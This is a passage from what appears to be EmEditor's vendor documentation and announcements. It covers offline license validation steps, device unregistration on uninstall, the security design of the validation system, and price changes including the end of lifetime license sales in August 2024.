  8. The device.ValidationDate is updated.
  9. If the token was issued before current time - 7 days, a new token is created to renew the old token. The new token has an expiration date of one month.

Offline license validation process (ValidateOfflineLicense())

Offline license validation occurs if the registry does not contain the local device token. If an unexpected error occurs, validation succeeds. This means that if the user is offline, validation will still succeed.

  1. If the offline license token does not exist, validation succeeds. One case where this may happen is if registration previously failed due to a network error but the registration key was valid. This allows EmEditor to be used in this case.
  2. Read and validate the token.
  3. Request the server to validate the offline license with the token and machine ID.
  4. The server validates the token.
  5. For Stripe subscriptions, the server checks that the subscription has the status active.
  6. If an OfflineLicense entry for the license ID does not exist, it is created with the token data.
  7. If the entry exists and license.Revoked == true, it returns StatusLicenseRevoked. Otherwise validation succeeds.

Uninstallation

When you uninstall the desktop version of EmEditor, your device will automatically be unregistered. This makes it easy to install to another machine without having to unregister the previous device manually.
Because the portable and Store App versions do not have an uninstallation process, they will not unregister automatically when you remove those apps. Therefore, if you have a portable or Store App and you are no longer using it on your device, you must manually unregister it from the Registered Devices page in Customer Center.

Security

We are using secure-by-design practices to ensure privacy and to protect against exploits in the validation system. The following lists some of the guiding principles that we used when implementing the system.

  • End-to-end encryption

    • All client-to-server and server-to-server communication uses HTTPS with CA-validated TLS encryption with no insecure fallback.
    • Server-side database records are secured with Azure-managed encryption and secure settings.
  • Token security

    • The local device token and offline license token follow the JWT standard and are signed with ECDSA. This allows client-side authentication without sharing the private key.
  • PII privacy

    • The label option during registration is optional.
    • MachineID fields are securely hashed on the client side before being encrypted and transmitted. The plaintext contents of these fields are never transmitted or stored on our servers.
    • Client-side logs are not persisted. Server-side logs contain minimal data about requests and do not include request body content such as the registration fields.

Support

If you have any questions or feedback about the validation system, feel free to send us a message.

License price update and ending sales of lifetime licenses

Lifetime License

Unlike “perpetual” licenses sold by other companies, our lifetime licenses include the right to receive future updates indefinitely. It is difficult to predict the future, but we would like to develop and support EmEditor for a long time. Our family and employees depend on the sales of EmEditor, which need to last for future generations. Therefore, we will end sales of lifetime licenses on August 28th, 2024. We will not sell lifetime licenses after August 28th, 2024. If you plan to use EmEditor Professional for a long time, you could save on future costs by purchasing lifetime licenses now. We will also raise the price of a lifetime license on August 30th, 2023 from the current $260 to $380 for a single license. The volume lifetime license prices will also be adjusted accordingly.

Annual Subscription

We will raise the price after the first year from the current 50% of the first year price to 75% on August 28th, 2024. If you have subscription licenses, you can renew your subscription at the current price before August 28th, 2024 without changing the expiration date. If you have subscribed to licenses through our website, you may purchase a single-year renewal if your previous purchase was made more than 30 days ago. If you would like to purchase multi-year renewals, please contact us and we will send you a link to do so. If you purchased a subscription through a reseller, please contact your reseller to purchase multi-year renewals.

Please also see How to calculate the number of licenses.

We will continue development of EmEditor and providing support to our customers.

Thank you for using EmEditor!

License price update

We have not changed the price of an annual subscription since we started annual subscription licensing. However, our expense cost continues to grow, and we need to adjust the price so that we can continue development and providing services to our customers. Therefore, we are going to increase the price of licenses. Taking effect on August 1, 2022, we are changing the first year price of an annual subscription license from US$39.99 to US$40.00, and a lifetime license from US$252 to US$260. The volume license prices will also be adjusted accordingly.

Please also see How to calculate the number of licenses.

We will continue development of EmEditor and providing support to our customers.

Thank you for using EmEditor!